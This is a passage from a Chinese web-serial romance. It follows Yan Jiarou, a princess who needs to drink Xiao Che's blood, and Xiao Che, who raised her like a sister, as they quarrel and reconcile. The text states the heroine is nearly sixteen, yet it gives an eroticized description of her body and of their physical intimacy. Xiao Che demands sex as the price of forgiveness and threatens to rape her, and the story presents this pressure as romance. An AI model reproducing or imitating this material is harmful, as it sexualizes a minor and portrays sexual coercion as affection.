她一点儿都不喜欢这样的萧彻。 她有些哀怨地看了他一眼,小声嘟哝道:“……你没有以前对我好了。” “我为什么要对你好?”萧彻看了她一眼,淡道:“我只对我的女人好。” “如果我没记错的话,你应该是萧珏的女人吧。” 颜嘉柔一噎,张了张嘴,小声地辩驳道:“不是这样的……” “好了清河公主,”他又敲了一下桌面,沉声道:“到底喝不喝?我的耐心有限,再不喝等这姜汤凉了,你就带着这碗姜汤给我滚出去!” 他说着一手侧支着脑袋,略转过身子,好整以暇地看她:“还是说你是故意的,故意跑到我跟前淋了雨,故意不喝姜汤,故意让自己生病,然后再死缠着我,想把病气过给我是吧?” 他笑微微地道:“好一招兵不血刃,清河公主真是好歹毒的心思。” 颜嘉柔:“!!!” “你怎么能这么污蔑我,我才没有!” 颜嘉柔从小就受不得激,一听这话,为了自证清白,当即就端起了那碗姜汤,扬言道:“我证明给你看!”这会子也不管难不难喝了,闷头就咕噜咕噜喝了半碗。 她向来娇气,鲜少有喝药这么痛快的时候,萧彻摩挲着手上的玉扳指,缓缓勾起了唇角。 只喝了一半,却又放下了,萧彻见她一双眼睛黑瞳仁骨碌碌地转了一圈,便知道她又有花花肠子了,蹙眉又敲了一下桌子:“怎么不喝了?喝完,一滴都不许剩。快点。” “干什么呀,我刚才喝得太急了,得缓缓。而且我从前吃饭喝水都是坐着的,这般站着会不舒服。”说着目光飘向了他的怀里,讨好地笑了笑。 “什么意思?”他危险地眯起眼睛:“你想我起来给你让座啊。” “你才多大一点,毛长齐了没有,我凭什么让你?也不怕折了你的福气。” 颜嘉柔脸一红,抬头瞪了他一眼:“讨厌,我又没让你让我!” 她不明白,萧彻明明很会哄人,这段时间她见识得太多了,他想哄人的时候,温柔小意,各种甜言蜜语信手拈来,简直能把人宠到天上去。 怎么现在又一夜回去他们的死对头时期,这般针锋相对,对她这么坏,难道就因为他们吵架了吗,烦死了,他们究竟什么时候才能和好! 这般想着,她从桌案一旁绕到了他的身边,垂在身侧的小手攥紧了,深吸一口气,鼓足了勇气,一屁股坐在了他的身上,之后迅速地攀上了他的肩颈,水眸湿//润地看着他,小脸粉扑扑的:“喏,这样不就好了吗?” 萧彻闷哼一声,额角青筋凸起。 这个傻子……她屁股往哪儿坐? 颜嘉柔坐在他怀里,离得这么近,可以看到他喉结旁脉络清晰的青筋血管,她有些难//耐地舔了舔唇,挪了挪臀部,调整了个舒服的坐姿。 可才刚调整好,腰肢便被他的大手掐住了。 “乱扭什么。”他叫了她一声,呼吸有些重:“谁允许你坐我身上了,颜嘉柔,你脸皮这么厚的?起来。” “干嘛呀。”她哼哼唧唧地往他身上腻:“坐坐都不行啦?我还要喝姜汤呢。” 萧彻别过脸,哑声道:“那快点喝,喝完起开。” 颜嘉柔双手贴在他的脸上,非要把他的脸扳过来:“哼,为什么要快点喝,我偏要慢慢喝,不然会呛着的!” 萧彻被迫正对着她。 两人挨得极近,她又一直这般不知足地往他那边蹭,到了后来,几乎是跨坐在他的腿上,这就导致她少见地可以低头俯视他,而他只要略一低头,视线就正好落在她的凶上。 略小的衣裙衬着她丰腴的身段愈发惹眼,波涛汹涌极了 。 偏她觊觎着他的血,还继续不知死活地往他这边挤。 白花花的酥凶几乎都要怼在他的脸上,鼻尖充斥着女子汝间的甜香,萧彻有些透不过气来,略往后仰,视线无意间落在她的身前,怔了一瞬,喉结滚动了几遭,看着她,到底还是没忍住问了出来:“……怎么才过了一日,你就胖成了这样?” 四周瞬间没了声息,安静得诡异。 紧接着,静默的房间内忽然爆发出一声尖叫。 “啊啊啊!萧彻你在胡说什么!” “才没有!”颜嘉柔一点就炸:“是嬷嬷给的衣裙太小了,完全遮不住,又勒着我,所以才会这样!” 她因为气极了,胸月甫上下起伏,汝禸一波波荡漾开来,显得……更大了。 萧彻眼皮跳动了一下,不动声色地移开视线:“哦。” 他伸手将那碗姜汤端到颜嘉柔的面前:“好了,别扯开去,快喝,凉了就没用了。” 颜嘉柔轻轻推了推:“等等嘛。” 萧彻皱眉:“喝个姜汤而已,这有什么好等的?” “唔,太冲了,都是姜味,好难喝的。” “都是姜味?怎么可能,我明明让人放了两大块方糖。” 颜嘉柔歪着脑袋,眨了眨眼:“可是真的都是姜味啊,一点儿都不甜,不然你尝尝看——你是不是忘记放糖啦?” 萧彻低眸审视着她:“皇妹,你又想玩儿什么把戏?” 颜嘉柔眼神无辜:“我又怎么啦?忘记放糖也不让人说了嘛。” 萧彻蹙眉,这时也不禁怀疑起手底下的人是否真的忘记放糖了? 他道:“我尝尝。” “不过若是让我尝到一丝甜味,”他狠狠道:“看我怎么收拾你。” 说着正要低头去尝那碗姜汤,不防颜嘉柔那张糯米团子一样雪白软乎的小脸忽然凑了上来,还不等他反应,唇上便贴过来什么东西,温//热柔软,笨拙地舔//舐亲吻着他的唇。 唇齿被她生涩地顶开,一截软//滑柔//软的舌尖怯怯地探入其中,带着笨拙的讨好,追逐纠缠着他的。 萧彻微微讶异地看着她,眼神中多了几分不明的意味。 及至一吻结束,颜嘉柔气喘吁吁地与他分开了些,方才两人相接处,因着动作牵扯出一截银丝,若断若续,说不出的y//靡。 颜嘉柔红唇微张,水眸湿//润地看着他,凑至他耳边,含羞带怯地道:“唔,哥哥,现在……现在甜了些了……” 萧彻眸色一暗,捏着她的后颈,将人提到眼前,呼吸重了一瞬:“谁教你的?” “唔,什么?” “刚才……这样,谁教你的?” 颜嘉柔眨了眨眼,笑得眉眼弯弯:“你喜欢么?” 萧彻喉结滚动,只道:“我问,是谁教的你?”他倒不知道,这只笨兔子,什么时候会玩儿这些花样了。 颜嘉柔小手捧着他的脸,她跨坐在他的腿上,微微低头,与他额头相抵:“你啊,我的一切,不都是你一手调//教的么?” 萧彻看了她一眼,喉结微动。 第一次做这种事,多少还是有些不自在,颜嘉柔红着脸,扭扭捏捏地道:“你……你不是一直嫌弃我不会与你调//情么,现在,我有从你身上学到一点么。” 萧彻哼了声,偏过了脸:“不过皮毛。” “那就是有一点啦。”她倒是毫不气馁,将他偏过去的脸又扳了回来,眼睛亮晶晶地看着他:“你以后多教教我就好啦,我会好好学的,好不好嘛。” “凭什么?我凭什么教你。”他说着想起一事,微眯起眼:“颜嘉柔,我是不是说过,倘若我在这姜汤中尝到一丝甜味,你就得做好被我好好收拾一顿的准备。” 他敲了下桌面:“你自己尝尝呢,都甜到发齁着了,你从小就贪吃甜食,要是现在连这么甜的姜汤都尝不出糖味,再这样下去,牙齿还要不要了?” 颜嘉柔吮含着食指,听他叽里咕噜说了一大堆,其实后面半段根本没听进去,只听见前面那一句“好好收拾你”。 她歪在他身上,咯咯笑道:“那你收拾我啊……” 她双手攀上他的肩颈,凑上去颤颤地亲了亲他的唇角,眼神湿漉漉地看着他,嗓音轻软,尾音拖将开来,说不出的甜腻勾人,“我等着你收拾我呢……” 萧彻呼吸一重,伸手按过他的后颈,用力地吻了上去。 第59章 第59章“想求人,就得拿出点诚…… 颜嘉柔闭眼缠紧了他的脖颈,按照他从前教她的那些,慢慢放松,收起牙齿,探出舌尖,笨拙地回应着他。 萧彻身子一顿,脊背绷直了,狠狠掐着她的细腰,亲吻的力道又重了几分,像是恨不得把她揉进身体,拆卸入腹。 嘉柔一开始还能勉强回应,到了后来,完全招架不住他这般猛烈的亲法,很软就软成了一滩烂泥。 等到萧彻终于放开她时,她已几近昏死过去,发髻散乱,唇瓣红肿,一张小脸上布满泪痕,眼尾泛红,连鼻尖也是红红的,眼睫上还颤巍巍地沾着眼泪,简直一塌糊涂。 衣裙也挣得散乱了,原本便因衣裙不合身而呼之欲出的匈月甫,此时更是雪峰半露,白花花得晃人眼。 配合她可怜兮兮的幽怨神情,活脱脱一副被刚刚蹂//躏过的样子。 萧彻挑眉,伸手掐了把她的脸颊,依旧是印象中的白腻软滑,手感极佳。 颜嘉柔是他看着长大的,第一次见她的时候,她还是个尚在襁褓中的奶团子。 ——颜氏夫妻未身故前,其实嘉柔便已在宫中小住过一段时间,颜氏夫妻身故后,江沉鱼更是直接将颜嘉柔接到了宫中抚养。 那日萧彻照例去披香殿给江沉鱼请安,那是他第一次见到颜嘉柔。 小小的一团,雪白的脸上一双眼睛大的瞩目,瞳仁乌黑,透亮极了。 小小的嘴巴却总是一动一动的,一看到他就咯咯乱笑。 他看着好奇,便伸手探了过去,她柔软的小嘴便立刻包裹住了他,一吮一吮的,他正诧异纳闷,一旁的江沉鱼见状,掩嘴轻笑道:“彻儿,她是饿了,把你的手指当做奶娘了。” 小萧彻的俊脸上闪过一丝嫌弃,不太高兴地道:“她怎么就知道喝奶。” 江沉鱼笑道:“她还小么,不喝奶喝什么呢……不过她好像很喜欢你呢,一看见你就笑。”说着逗她道:“乖,叫哥哥……” 小萧彻觉得他母妃是在开玩笑,他才不信那个奶团子会开口叫他哥哥呢,她明明除了喝奶,什么都不会。 话虽如此,但他还是抬头偷偷地望了过去,心中隐隐有些期待。 小嘉柔对上他的视线,忽然挥舞起胖胖的手臂,咯咯地笑个不停,其中有两声有节奏地连在一起,听起来倒真像是“哥哥”。 小萧彻愣了一下,一旁的江沉鱼倒是十分高兴,将她从小床上给抱了起来,亲了亲她道:“彻儿,你听见了么,她真叫你哥哥了,好乖啊。” 小萧 彻看着江沉鱼,印象中从他出生以来,他的母妃一直郁郁寡欢,脸上鲜少有什么笑容,也只有这个奶团子被送过来之后,她才爱笑了些。 单这个原因,他就对小嘉柔有种天然的好感。 而且她叫他……哥哥,被奶团子叫哥哥的感觉,似乎并不算坏。 他弯起唇角。 看来她不只会喝奶。 江沉鱼的确很喜欢这个孩子,不光是因为她的父亲与她有些渊源,她作为故人之女,她待她自然亲厚,更因她长得冰雪可爱,实在招人喜欢。 这样小的孩子,她的人生才刚刚开始,未来充满希望,有着无限憧憬,不像她,人还未老,却已经暮气沉沉了。 她的到来,为她死水无澜的生活注入了一泓活泉。 她发现她似乎真的很喜欢萧彻,人明明在她的怀里,胖乎乎的小身子却非要倔强地转过去,伸出白白胖胖的小短手,阿巴阿巴地朝萧彻的方向叫嚷。 萧彻抬头,终于被她夺得了注意,她见状又咯咯地笑个不停,含糊不清地叫着:“哥哥……哥哥……” 江沉鱼见状,弯腰将怀中的小团子小心翼翼地递给了小萧彻:“彻儿,既然妹妹这么喜欢你,你抱抱她吧。” 小萧彻抿着唇,到底还是伸手把她接了过来,一瞬间,奶香味扑面而来,小团子又香又软,他想起了元宵节吃的糯米团子,也是这般白白软软。 他抿了抿唇,把她抱得更近了些。 小嘉柔一直高举着小胖手,咿咿呀呀地不知说了些什么婴语,好像是希望他把她举高一些。 小萧彻想了想,还是照做了。 结果她的小脑袋刚和他平齐,便迫不及待地扒拉着去亲他。 小萧彻一时没反应过来,结果就是被她糊了一脸含着奶味的口水,黏黏糊糊的。 小萧彻:“…………” 江沉鱼在一旁笑看着二人。 小萧彻一张俊脸黑了下来,正要把糯米团子还给她母妃,忽感臂弯处有热流汩汩流淌下来。 他正蹙眉不解,便听到一旁江沉鱼有些吃惊地“呀”了一声—— “彻儿,她……她尿你身上了……” “…………” 梅开二度,这下小萧彻的脸色黑了个彻底。 他一脸嫌弃地将奶团子递还给江沉鱼,皱眉道:“她怎么乱尿人。” “奶喝多了么,自然是要尿了。”她说着看了他一眼,与他玩笑道:“倒也不是乱尿人,我看啊,她闹着要你抱,便是故意要尿在你身上的。” “倒像是小狗儿标记似得,她在你身上尿了,彻儿,你以后可就是她一个人的哥哥了。” 江沉鱼原本不过是同他开个玩笑,见他始终沉默不言,以为他生气了,便微微弯下腰来,柔声道:“好了,妹妹还小,不懂事,别生妹妹的气了,好吗,不过是小事,待会儿换件衣服就好了。” 小萧彻看了她一眼,点了点头:“她才这么大一点,算了,我不跟她计较。” 却又忽然鬼使神差地想到,若是她日后长大了,还敢尿在他身上,他一定不会放过她。 …… 记忆回笼,萧彻抬眼,看着颜嘉柔,眼前这张脸,渐渐与回忆中那个奶团子重叠。 时间过得真快,一转眼,她就长这么大了。 记得小时候她只会喝奶,宫中又不缺奶娘,母妃宠着她,一直到三岁才让她彻底断奶,她哭着不依,最后以牛乳代之。 人乳用牛乳戒断了,至于牛乳,只怕现在还喝着,所以身上总是一股奶味,凑近了就能闻到。 经年的牛乳滋润,唯一的好处大概就是养了这一身雪白细腻的皮肉,宛若牛乳的肌肤。 触之水润滑嫩,仿佛真能掐出牛乳一般。 这般想着,手上便稍稍用了些力。 只不过才刚用了一点力气—— “呜呜,疼,”颜嘉柔便红了眼圈,娇声求道:“哥哥,轻点儿。” , 萧彻睨了她一眼,嗤了声:“就你娇气。” 他抬眼打量着她—— 小姑娘此时一副被狠狠蹂//躏过的样子,脸还被掐红了一块,咬着红肿不堪的唇瓣,泪光涟涟地看着他,实在要多可怜有多可怜。 他身子后仰,手肘撑在椅子的扶手上,手指虚虚扶着下颌,好整以暇地看着她。 见她现在这副倒霉样,自撞见她和萧珏卿卿我我、说只是利用他治病的那一幕之后,便郁结在心底的那股恶气,此时总算稍稍消散了点。 行,算是出了点气。 何况……他手指摩挲着唇瓣,跟她接吻的滋味实在不算坏,难得她这么主动,特意送上门来给他亲,他为什么不要? 不亲白不亲。 他拍了拍她的脸,心情总算愉悦了点,忍不住弯了下唇角。 不过亲归亲,他倒还是没忘了喝姜汤那茬,手指敲了敲碗壁,发出叮当的动静,他抬眼觑她,语气算不上好:“快喝啊,等什么呢。” 颜嘉柔有些不满地翘起嘴巴,她不知道萧彻的记性怎么这么好,亲了这么久,她感觉脑袋都被亲晕了,还能想起什么?可他却眼神清明,好像一点儿都不晕,居然还记得这事。 她就是不想喝那剩下的半碗姜汤,她喝了一半,已经很给他面子了! 虽说这姜汤里的确放了不少糖,能掩盖住大半姜味,不至于难以入口。 但辣中带甜,衍生出一种很怪的味道,反正一点儿都不好喝。 可萧彻让她喝,她又不能不喝,毕竟现在是她有求于他。 她磨磨蹭蹭地捧起那碗姜汤,觉得喝还是要喝的,但这么难喝的姜汤,她可不能随便喝了!非得喝出点好处来才不算亏! 想到这里,她便双手捧着那碗姜汤,又挨近了萧彻几分,眼神带着期盼地看着他:“那……喝完,有没有什么奖励?” 萧彻笑了,视线冷淡地掠过她:“你觉得,你现在有跟我谈条件的资本吗?” “你以为还是以前,我什么都要惯着你啊,你谁啊?” 颜嘉柔闻言,脸色白了几分,搭在他身上的小手蜷缩了起来,显得有些局促:“我……” “我以为你此行来,是来求我的,”萧彻抬眉看了她一眼,语气嘲弄:“这就是你求人的态度么,皇妹?” “想求人,就得拿出点诚意来,而不是动不动,就跟人谈条件。” “只有诚意先给足了,后续怎么样,才能看我心情。” “要是这么不听话,那现在就可以走了。” “我没有不听话!”颜嘉柔着急地道:“我现在就喝!”说完仰头咕噜咕噜地将那剩余的半碗姜汤喝了个干净,末了抬手擦拭了唇角,忍着难喝的味道,将口中最后一口姜汤咽了下去,又把空碗展示给萧彻看:“喏,全喝完了。” 萧彻低头扫了一眼,只“嗯”了一声,随后身子后仰,靠在了圈椅上,轻轻阖上了眼皮。 颜嘉柔将空碗随意地放在了桌案上,皱着鼻子,又有些嫌弃地伸出食指,将它戳远了点。 之后转过身来,双手交叠,抵在萧彻的胸膛上,又将下巴搁置了上去,两人一时挨得极近,呼吸都交错可闻,萧彻身上的气息很好闻,她眼睫轻颤,轻轻叫了他一声:“哥哥……” “嗯?” 颜嘉柔小心地问:“你现在心情好点儿了么。” 萧彻撩起眼皮,嗓音透着点漫不经心的疏懒:“……一点点吧。” “只有一点点么?” 萧彻轻笑,抬手掐了一下她的脸颊:“你还想要多少啊?” 颜嘉柔伸手圈住他的肩颈,凑上去亲他,嗓音轻软,黏黏糊糊地道:“……想要再多一点点。” 她从他的眼睛一路往下,带着讨好的意味,亲吻着他的鼻梁,嘴唇,最后停在了凸起的喉结上,他的喉结较寻常的男子都要大上许多,她轻轻地舔吻吮//吸着,喉结很快透出点粉色,仿佛充血一般,隐伏在喉结附近的青筋血管便越发明显。 嘉柔甚至可以隐隐感觉到里面鲜血的流动。 她舔了舔唇瓣,体内的渴念叫嚣着,她终于忍耐不住,轻轻咬了上去。 牙齿刺穿了皮肤。 鲜血很快渗了出来,她急切地舔//口允着他的伤口。 萧彻皱眉“嘶”了一声。 颜嘉柔动作一顿,强忍住身体的ke念,稍稍退开了身子,低头看着他,有些忐忑地问:“……很疼么?” 萧彻轻嗤:“你被牙齿咬穿皮肤试试,疼不疼?”他都不知道他为什么稀里糊涂又让她上身了。 嘉柔有些内疚地低下头,她知道一定很疼,被牙齿咬穿皮肤怎么会不疼,更不用说兰陵人的痛觉还是常人的十倍,她嗫嚅着唇瓣,眸底又渐渐漫上湿意:“对不起,我……我会轻一点的。” 萧彻偏过了头,蹙眉闭上了眼。 嘉柔再次附上伤口时,动作轻柔了不少,柔软的舌尖轻轻地舔//舐着伤口,像是小动物表达亲昵的讨好。 萧彻滑动着喉结,虽然依旧疼痛,但总算感受到了一点她的诚意,小猫小狗似得讨好方式,对他而言,显然还算受用。 嘉柔尽量不太急切地吮//着他的血液,于是足足过了一炷香,在这场取血中,他才彻底喂饱了她。 她餍足地枕在他的颈侧,虽然他的血带给她的慰藉似乎越来越少了,但还不至于完全失效,至少在被他的血喂饱后,她感觉好多了。 只是最初取完血之后,那种直冲天灵、让灵魂都为之震颤的快//苷,她似乎已经很久没尝到了。 她亟需从萧彻身上得到另一种新的物质来彻底满足她已经提高的阈值。 可惜,直到现在,她还不知道那究竟是什么。 她下巴轻轻蹭了蹭他颈侧的皮肤,凑至他耳边轻轻叫了他一声:“萧闻祈……” 她轻咬唇瓣,有些紧张又有些忐忑地问:“我们现在,算和好了么?” 萧彻闻言缓缓掀开眼皮,侧头瞥了她一眼,略扯了唇角,冷笑道:“你当我是什么?” “小猫小狗吗?随便亲两下就哄好了?” 没得到期望中的答案,女孩儿难免有些沮丧,搂着他脖子的手也无力地垂了下来:“那……那你说要怎么样嘛。” 萧彻伸手掐过她的下巴,微微上提,迫使她抬起头来。 视线相碰,颜嘉柔眼睫轻颤,美眸中有泪光闪动,委委屈屈地叫了他一声:“哥哥……” 萧彻挑眉。 女孩重新抬手圈住了他的脖颈,轻轻摇晃着撒娇道:“原谅我吧,这事我们就翻篇了,好不好?” 萧彻冷冷地看了她一眼。 呵,连个解释都没有,就想让他原谅她。 天底下哪有这样便宜的事。 怎么整整一天过去了,她连个像样的理由都编不出? 那为什么不等到编出来了再来找他? 原是连骗他的理由都懒得编么。 呵,这般作为,甚至连敷衍二字都算不上。 心底忽然戾气炽盛。 他毫不留情地捏过她的手腕,将她的手臂从他肩上摘了下来,皱眉冷声道:“从我身上滚下去。” 颜嘉柔身子一颤,整个人呆呆地看着他,忽然开始大颗大颗地掉眼泪。 许是觉得这么当着萧彻的面,被他注视着哭实在太丢脸,她非但不下去,索性一低头,将脑袋埋在萧彻的怀里,肆无忌惮地哭了起来。 她极爱哭,从小便是如此,也是被宠坏了,稍有不顺她心意的她就哭。 大概也是吃准了所有人都看不得她掉眼泪,只要她一哭,便什么都答应了她。 毕竟是自小练出来的本事,在哭这件事情上,她算是经验颇丰,情绪是充沛的,眼泪是要多少就有多少,绝不会断线的。 很快便把他的前襟哭湿了一片。 萧彻生平第一次感到头疼。 这世上大概再也没有什么事,比应对小女孩更难的了。 他捏着她的后颈,想把人拉开,但她死死扒拉着他,竟像是使出了吃奶的劲,若是强行拉开,恐怕会弄痛她。 他敲了敲她的后脑勺,叫了她一声:“颜嘉柔。” “你水做的?哪儿那么多泪。” “你把我身上弄湿了,你知道吗?” 回应他的是她变本加厉地把涕泪蹭到他的衣服上。 萧彻:“…………” 他被气笑了,摸了摸她圆润的后脑勺,不知怎么,忽然又想起小时候的事。 她不是第一次把他身上弄湿了。 真正的第一次,是她还是个小婴儿时,尿在他身上。 他那个时候说过,倘若她以后长大了,还敢尿在他身上,他一定不会放过她。 如今她长大了,倒还未曾尿在她身上,只不过也没好到哪里去,一把眼泪一把鼻涕地蹭在她哥哥身上,也真够缺德的。 小兔仗着自己会哭,有恃无恐,无法无天了。 这可不行,得想个法子治治她。 他把手搁置在桌面上,手指无意识地敲击着桌面。 敲击声三下而止。 他一扬眉,忽然就想到了法子。 说起来,儿时不懂事,说的话也未必都要一一作数,就譬如儿时说,倘若她以后长大了,还敢尿在他身上,他一定不会放过她。 现在想起来,虽则现在奶团子长大了,但在某些特定时刻,他也不是不能让她尿在他身上——就权当情趣了。 想到这里,他拍了拍她的臀,懒散地一勾唇:“喂,别哭了,想不想我原谅你?” 颜嘉柔果然立刻不哭了,从他怀里起来,直起身看向他,乖乖地点头:“想……” 萧彻抬眼看向她,小兔眼圈红红的,眼睛肿的跟桃子似得,啧,更像兔子了。 他笑了下,抬手朝她勾了勾手指,颇有点蛊人的味道:“过来,附耳。” 天真的小兔立刻乖乖照做。 萧彻轻咬她的耳廓,温热的气息倾吐在她耳侧,肌肤立刻泛起酥//麻的佯意。 萧彻嗓音沙哑,轻笑了一声,语气暧//昧又轻挑:“给我c一顿,这事就算翻篇,怎么样?” 话音刚落,怀中的娇躯便重重地一颤。 萧彻一手掐着她的腰肢,重重一按,呼吸骤然变得粗重:“怎么,行不行,给句话啊。” 第60章 第60章“颜颜,从始至终,都是…… 颜嘉柔看着萧彻,他的瞳孔周围渐渐泛上深色的纹路,这是兰陵人动情的征象。 她蹙着眉心,神色多有挣扎:“萧彻,我……可是……” “怎么,不愿意啊。”萧彻偏头烦躁地吐出一口气:“那滚吧。” “没……没有不愿意……”她最怕从萧彻嘴里听到“滚”字,闻言急切地挽上他的胳膊,解释道:“除了那个……你想对我做什么,都可以……” 她也知道她和萧彻早就越界了,她不知道他们现在到底算什么,但肯定不是寻常的兄妹了。 她也不知道她和萧彻之间怎么会变成这样,但事情已经到了这个地步,反正也回不去了,她并不排斥和萧彻亲密,甚至越来越沉溺其中。 兄妹之情自然是已经逾越了,但男女之情,却又……不敢确定。 她始终认为自己应该是喜欢萧珏的,若非野狐事件,她和萧彻此生都不可能有这样的交集。 人怎么可以同时喜欢两个人呢? 她既然从一开始喜欢的就是萧珏,那对萧彻的感情,又算什么呢?她始终不认为自己是一个朝三暮四、能轻易变心之人。她喜欢了萧珏十年,怎么可能因为跟萧彻纠缠了短短一个月,就不再喜欢萧珏了呢。 一定是哪里出错了。 或者她对萧彻,虽逾越了兄妹之情,但也并非男女之爱,毕竟爱美之心,人皆有之,萧彻长了那样一副皮囊,又肯费心思哄她,天天在她耳边说着各种调//情的话、甜言蜜语信手拈来,任哪个女子都会招架不住的,又怎么能怪她呢。 或许这只是一时的意乱情迷,并非是真正的喜欢。 她面对萧彻总是失控,她并不喜欢这种失控的感觉。喜欢不该是相敬如宾、内心安定么,怎么会是动不动就心脏狂跳,轻易失控呢? 她实在想不明白。 在没彻底弄清自己的心意前,她不可能和萧彻做到最后一步。 况且大魏民风虽然开放,女子在婚前便失身的也是极少数,除非是已经笃定将来一定会嫁给那个男子。 可她从小到大一直想要嫁给的,明明是萧珏。 大魏无论男女,手臂内侧都有一粒朱砂,倘若已 经和人行过那事,朱砂便会消退。 万一,万一她日后还是要嫁给萧珏呢,朱砂不见了,她又该怎么跟他解释? 正胡思乱想间,下巴忽然被人抬起,四目相对,萧彻皱眉看着她,目光含着审视,像是要把她整个人给看穿。 见她一脸顾虑地盘算着什么,声音倏地变冷:“在想什么?” “是不是在想一旦答应了我,手臂上的朱砂没了,不好和你的太子哥哥交待啊?” 颜嘉柔悚然一惊,心想他怎么会知道,连忙敛下神色,矢口否认道:“不……不是……” “我……我只是有些害怕……” 她确实是害怕,她觉得萧彻那里……她肯定受不了,她只喜欢亲吻拥抱,不喜欢那个,她会害怕壊掉,因此不算说谎,神情自然也没有破绽。 萧彻神色稍缓,湿湿热热地吻上她的耳廓:“怕什么,我不会弄痛你的……” 他哑声道:“你会喜欢的……不试过怎么知道?” 颜嘉柔明显感觉到他身体的变化,简直是,她简直是欲哭无泪,一点儿都不像试,她还不想死:“你……你说过我还太小了……” 萧彻一手抚上她半溢的汝禸,语气平淡,却蕴着深意:“小么,我看也不小了。” “第一次见你时,你就那么大一点儿……”他松开手,低头看着自己的手掌:“也就我现在手掌大吧,喝奶倒是厉害。” 他拍了拍她的脸颊:“所以我印象中,你一直还很小,不过其实仔细算来,你也已经快十六了,能长得都长完了,我想再长,也长不到哪里去了,未必过两年便能好纳些。” “而且你那么爱哭,这般娇气,我想我再失控,你一哭我也能清醒,自然伤不了你。” 颜嘉柔眨了眨眼,神情透着迷茫:“什……什么意思?” 萧彻笑了:“什么意思?” 他见她白皙的额头上有细汗渗出,想是方才半哄半迫喂下的姜汤起效发热了。 他瞥了一眼她紧紧攥着的小手,挑了一下眉——也可能是因为紧张出汗。 紧张什么,他还能吃了她不成?不过……好像还真是。 他抬手帮她擦了一下汗,语气暧//昧:“意思就是,我想吃兔肉了。” “没有解释也行,你让我吃上一回,我自然相信你和萧珏再没可能,那你之前说的那番话,我也可以完全不计较。” “你不是想让我心情好么?你答应了我,我心情肯定好。” 颜嘉柔为难地看着他,身子下意识地往后挪:“不……不行……” 说完怕他生气,又连忙找补道:“但是除了这个……别的什么都行……” “别的?”萧彻嗤笑:“你觉得我们之间除了那个,别的还有什么没做过吗?说了跟没说一样。” 颜嘉柔咬着唇,泪眼盈盈地看着他,一副明明什么都反驳不了,什么都不肯付出,可就是非要死乞白赖地让他答应她的要求,不然就哭给他看的样子。 萧彻:“…………”这祖宗又开始了。 他伸手捏了捏眉心,半晌开口道:“解释。” “什……什么?” 萧彻看她一眼:“不肯献身,那就好好给我个解释。” 他眉心紧蹙,仿佛不愿再回想那天的事:“那天我在门后听到的那番话,你最好给我一个能骗得了我的解释。” 他说着掐过她的脸,故意沉了声吓她:“不然我强了你,听到没有?” 白腻的颊肉仿佛牛乳一般,争先恐后地从他的指缝中溢出。 雪白的脸颊被捏得透出薄粉色。 颜嘉柔果然被吓得瑟缩了一下,忙不迭地点了点头:“听……听到了。” 萧彻勾了勾唇:“说吧。” “我……那天的话,并非出自我的本意,是太子哥……是萧珏他,他逼我的。他那时母妃刚出去世,心情难过到了极点,竟像是有轻生的意思……” “我不敢不顺着他的话回答,而且我从前答应过他的事,那些誓言,那确实是我亲口说过的,我不能不承认,我也不知道该怎么开口违背……” “对不起萧彻,我是一个懦弱的人,在感情上拖泥带水、不够果断……我只是不想伤害你们任何一个,可是我对你的心思,绝不只是利用,你信我好不好?” 萧彻烦躁地闭了闭眼:“那你对我什么心思,说清楚。” 颜嘉柔面露难色:“我……” 萧彻极短促地笑了一声,掐过她的下巴,逼视着她道:“别跟我说什么兄妹之情,” 他重重换了一口气,极力克制着体内上浮的戾气:“颜颜,那样我真的会生气。” 颜嘉柔吞咽了一口口水,脱口道:“不……不只是兄妹之情……” 萧彻搭在她脸上的手指轻微地蜷缩了一下,他听见自己的呼吸有些乱,声音也不自觉地放柔了下来,像是怕一不小心吓到她,将她到了嘴边的回答又逼了回去:“那是什么,嗯?” 颜嘉柔讨好地用脸颊蹭了蹭他,有些心虚地道:“哥哥,我……我还没想好……” 萧彻身形一顿,气极反笑:“你耍我?” “没……没有,你再给我点时间好么?萧闻祈,你别逼我,你再给我一点时间……” “我逼你?你居然说我逼你?” 萧彻一把扼住她的手腕,双目泛红,气息发抖:“你说清楚,我逼你什么了?” 他忽然想到了什么,极短促地笑了一声道:“颜嘉柔,你是不是对谁都是这么说的?” “在我面前,说是他逼你,在他面前,是不是又说是我在逼你?” 嘉柔哭着摇头:“没有,没有……不是这样的……萧彻,我只是想你再多给我一点时间,有些事情,我自己都还没有弄明白,在没弄清楚我自己的心意前,有些话,我不能轻易地说出口……” “是么,那为什么那些话,你可以那么轻易地对萧珏说出口,在我这里,却要顾虑再三,犹犹豫豫?” 萧彻只觉心脏一阵绞痛:“你就这么喜欢他?” “不是的,萧闻祈,那不一样,我从小就觉得我应该喜欢萧珏,因为你的靠近,把我的一切都打乱了,我才会重新审视我自己的心意,你给我点时间好不好……” “给你点时间?你每次都只会说这么一句。那么颜颜,你要等你多久呢?难道要我等到死吗?” “还是说,皇妹未曾读过兵书,却深谙缓兵之道,所谓的给你时间,不过是你的刻意拖延,” 他掐着她的下巴,声线有一种泛着寒意的冷平:“你还想着有朝一日,有人能治好你身上的怪症,到了那时,我再没了利用价值,你就可以把我一脚踢开了,是不是?” 颜嘉柔哭着摇头:“不是的……” 萧彻松开手,疲倦地往后靠,忽然突的笑了声,抬眼嘲讽地看着她:“为了从我这儿骗点血,也真难为你了。” 他掐过她的腰,向上一提,将她抱坐在桌案上。 他则起身覆了上去,双手按在她的两侧,低头看着她,喉结滚动:“我们,就到此为止吧。” 像是骤然沉入湖底,四周的湖水迅速地灌入口鼻,周遭的一切动静都变得混沌而不真切。 她有些无措地眨了眨眼,张了张嘴,却连一个字都说不出。 过了半晌,她终于听见自己涩然地开口:“什……什么意思?” “我不知道我们之前算什么关系,毕竟你始终不肯承认,”萧彻苦笑了下:“但不论是哪一种关系,我和你之间,就都到此为止吧。” “如果不是你忽然得了怪病,我们之间,本该再无交集的。” “我想要的喜欢,眼下看来,你给不起。” “对于感情之事,我从来不屑于勉强,你方才说我逼你,原来在你看来,向你求证心意是在逼你,你知不知道,我听了很难过?” “那么,我不再逼你了。” 颜嘉柔哭得泣不成声, 只是不住地摇头道:“不……不要……萧彻,不要……” 萧彻动作温柔地替她拭去脸上的泪痕,唇角勾起点散漫的笑意:“你水做的啊,这么小一个人,怎么会有这么多眼泪?” “别哭了,哭什么,你放心,你想要的东西,我会给你。” 颜嘉柔抽噎着,抬头泪眼朦胧地看着他。 “我对你说过的话,从来都是出自真心,也决不会反悔。” “我说了我会成为你的药,这句话,永远有效。” “往后你想要我的血了,随时可以让映雪过来取,甚至可以一次多取点,想法子藏在冰窖里,想什么时候用,找个名目去冰窖里取,不比现在方便?” 